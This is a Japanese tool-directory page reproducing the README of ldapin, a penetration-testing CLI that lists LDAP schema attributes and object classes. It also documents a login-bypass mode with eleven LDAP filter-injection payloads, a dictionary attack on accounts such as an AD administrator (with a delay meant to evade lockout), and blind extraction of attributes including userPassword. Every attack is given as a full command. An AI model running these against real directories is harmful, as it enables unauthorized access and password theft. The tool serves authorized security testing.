Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ldapin — セキュリティ評価向けの基本的なLDAPタスクを実行するCLIツール | Kitploit
ツール/GitHubGitHub/affolter-engineering/ldapin
偵察パスワード攻撃脆弱性分析情報収集ペネトレーションテスト認証
GitHubaffolter-engineering/ldapin

ldapin

セキュリティ評価向けの基本的なLDAPタスクを実行するCLIツール

リポジトリを見る
1293日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ldapin

LDAPサーバーのサブスキーマをクエリして有効なLDAPフィールドを発見するCLIツール。サーバーからattributeTypesとobjectClassesを直接読み取るため、結果は常にサーバーが実際にサポートしている内容を反映します。

機能

  • すべての属性タイプをOID、構文、カーディナリティ、エイリアス、説明とともに一覧表示
  • すべてのオブジェクトクラスを種別(structural/auxiliary/abstract)、必須/任意属性、スーパークラスチェーンとともに一覧表示
  • 名前または説明に対する部分文字列フィルタ
  • 3つの出力形式: table、JSON、CSV
  • 匿名バインドと認証(simple)バインド
  • プレーンLDAP、LDAPS、STARTTLS

インストール

Nix(推奨)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

NixまたはNixOSユーザー向けにパッケージが利用可能です。最新リリースは unstableチャンネルにのみ存在する可能性があることに注意してください。

nix-env -iA nixos.lapin

ローカルチェックアウトから:

nix run .
nix build .

Cargo

cargo install --path .

使用方法

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

例

ローカルサーバー上のすべての属性タイプを一覧表示:

ldapin

認証してすべてのオブジェクトクラスを一覧表示:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

mailに関連するすべての属性を検索:

ldapin -H ldap://ldap.example.org -f mail

すべてをJSONで表示:

ldapin -H ldaps://ldap.example.org -m both -o json

すべての属性をCSVにエクスポート:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

inetOrgPersonオブジェクトクラスのエントリを表示:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

STARTTLSで接続:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

ForumSys公開LDAPサーバーでのテスト

ForumSysは、テストに適した無料の読み取り専用LDAPサーバーを提供しています。

パラメータ値
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

すべての属性タイプを一覧表示(匿名バインド):

ldapin -H ldap://ldap.forumsys.com

すべての属性タイプを一覧表示(認証あり):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

すべてのオブジェクトクラスを一覧表示:

ldapin -H ldap://ldap.forumsys.com -m object-classes

inetOrgPersonオブジェクトクラスを表示:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

名前で属性をフィルタ:

ldapin -H ldap://ldap.forumsys.com -f mail

すべてをJSONにエクスポート:

ldapin -H ldap://ldap.forumsys.com -m both -o json

ログインバイパステスト

login-bypassモードは、LDAPサーバーのフィルタインジェクション脆弱性をプローブします。 既知のLDAPインジェクション手法から派生した11個のペイロードを構築し、 どのペイロードがエントリを返すかを報告します。これは、サニタイズされていない ユーザー入力から認証フィルタを構築する脆弱なWebアプリケーションが生成するのと同じ結果です。

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

テストされるペイロード:

ペイロードフィルタテンプレート
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

ForumSysの例

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

辞書攻撃

brute-forceモードは、まずLDAP検索でターゲットユーザーの完全なDNを解決し、次に ワードリストの各行に対してsimple_bind(dn, password)を試行し、最初の成功で停止します。

必須フラグ: -b / --base-dn、-u / --target-user、--wordlist。

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

進捗(DN解決、試行回数、結果)はstderrに書き込まれ、結果はstdoutに出力されるため、 -o jsonと-o csvはクリーンにパイプできます。

ForumSysの例

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

ブラインド属性抽出

blind-extractモードは、ワイルドカードサフィックスフィルタで繰り返しプローブすることにより、 読み取り可能な任意の属性の値を1文字ずつ復元します:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

これは、サニタイズされていない入力からLDAPフィルタを構築する脆弱なWebアプリケーションに対して 使用される古典的なブラインドインジェクションループの、直接LDAP版に相当します。

必須フラグ: -b / --base-dn、-u / --target-user、--extract-attr。

# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

# Extract with a custom character set
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u jdoe --extract-attr userPassword \
  --charset 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'

# JSON output
ldapin -H ldap://target -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail -o json

文字が見つかると進捗がstderrに書き込まれるため、stdoutはパイプや-o json / -o csvでの 使用のためにクリーンなまま保たれます。

ForumSysの例

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr mail

ldapin -H ldap://ldap.forumsys.com -m blind-extract \
  -b dc=example,dc=com -u einstein --extract-attr telephoneNumber \
  --charset '0123456789-'

開発

Rustツール、rust-analyzer、rustfmt、clippyを含むシェルに入る:

nix develop

その後、通常どおりビルドして実行:

cargo build
cargo run -- --help

作者

  • Fabian Affolter (@fabaff)

ライセンス

MIT

ツールをダウンロード